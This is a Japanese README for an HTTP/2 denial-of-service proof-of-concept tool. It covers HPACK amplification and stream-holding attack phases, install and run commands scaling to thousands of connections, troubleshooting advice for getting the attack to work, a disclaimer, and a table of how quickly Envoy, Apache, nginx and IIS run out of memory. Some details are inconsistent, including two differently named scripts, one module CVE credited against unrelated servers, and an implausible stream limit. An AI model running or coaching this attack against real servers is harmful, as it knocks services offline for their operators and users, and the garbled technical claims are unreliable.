
HTTP/2 サーバーを標的としたサービス拒否(DoS)の概念実証です。HPACK 増幅とストリーム保持を組み合わせることで、それほど大きくないネットワーク接続を持つ単一のマシンでも、数秒以内に脆弱なサーバーを利用不能にできます。
CVE-2026-49975mod_http2 モジュールにおける過大なサイズのメモリ割り当ての脆弱性(CWE-789)により、特別に細工された HTTP リクエストを通じてサービス拒否攻撃が可能になります。エクスプロイトは、実行ログに示されているように、いくつかの段階を経て進行します:
TCP/TLS 接続の確立
ターゲットサーバーに対して複数の同時 TCP/TLS 接続が開かれます。
HTTP/2 ネゴシエーション
クライアントはサーバーが許可する同時ストリームの最大数(通常 100 または 128)を検出します。
HPACK プライミング
巧妙に細工された HTTP ヘッダーが送信され、サーバーに過度に大きな HPACK 圧縮テーブルの割り当てを強制することで、メモリ消費が急速に増加します。
接続の保持
ストリームが開かれると、接続は無期限に維持され、割り当てられたメモリが解放されないまま、最終的にサーバーの利用可能な RAM を枯渇させます。
テストは、複数の Web サーバーをデフォルト設定で使用して実施されました。
h2.exceptions.TooManyStreamsError--streams に指定した値が、サーバーがサポートする最大同時ストリーム数を超えると発生します。
解決策: 攻撃を開始する前に、サーバーのストリーム上限を調査してください。
NameError: name 'SettingsAcknowledued' is not definedPoC ソースコード内の単純な誤字によるエラーです。
解決策: 以下を置き換えます:
SettingsAcknowledued
を次のものに:
SettingsAcknowledged
[SSL] unknown error通常、ターゲットが TLS 上の HTTP/2 をサポートしていないか、受信接続を拒否していることを示します。
EOF occurred in violation of protocolリモートサーバーが予期せず接続を閉じました。
これは通常、サーバーがリソースを使い果たし始め、新しい接続を拒否し始めたときに発生します。
Invalid input ConnectionInputs.SEND_HEADERSすべてのリクエストヘッダーが送信される前に、サーバーが HTTP/2 接続を閉じました。
この概念実証は Python スクリプトとして実装されています。
git clone https://github.com/califio/http2-bomb.git
cd http2-bomb
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
10 接続・100 ストリームを使用した基本的な攻撃:
python bomb.py example.com --streams 100 --connections 10
(ターゲットが 1 接続あたり少なくとも 100 の同時ストリームを許可している必要があります。)
ストリーム上限の自動検出:
python bomb.py example.com --connections 10
大規模攻撃:
python bomb.py target.example.com --connections 50
高接続数テスト:
python h2bomb.py -t target.example.com:443 -c 1000
超大規模な接続テスト:
python h2bomb.py -t example.com -c 20000
本ソフトウェアは、セキュリティ研究、教育目的、および明示的な許可を得たシステムのテスト専用に提供されます。
所有していない、またはテストの許可を得ていないシステムに対する本ツールの無許可での使用は、該当する法律および規制に違反する可能性があります。著者および貢献者は、本ソフトウェアの使用によって生じたいかなる誤用や損害についても責任を負いません。
| Web サーバー | テスト済みバージョン | RAM | メモリ枯渇までの時間 | 観測された動作 |
|---|
| Envoy | 1.37.2 | 32 GB | 約10秒 | 非常に迅速にメモリを枯渇させることに成功。 |
| Apache HTTP Server | 2.4.67 | 32 GB | 約18秒 | ストリーム上限は通常 100。HPACK プライミングと無期限の接続保持による標準的な攻撃の進行。 |
| nginx | 1.29.7 | 32 GB | 約45秒 | ストリーム上限は通常 128。攻撃は成功するが、利用可能なメモリを消費するにはより多くの時間を要する。 |
| Microsoft IIS | 指定なし | 64 GB | 約45秒 | 4294967297 のような異常に大きなストリーム上限を通知する場合がある。 |
| 脆弱でないターゲット | さまざま | - | - | サーバーの設定済みストリーム上限を超えようとすると、即座に TLS エラーまたは TooManyStreamsError が発生。 |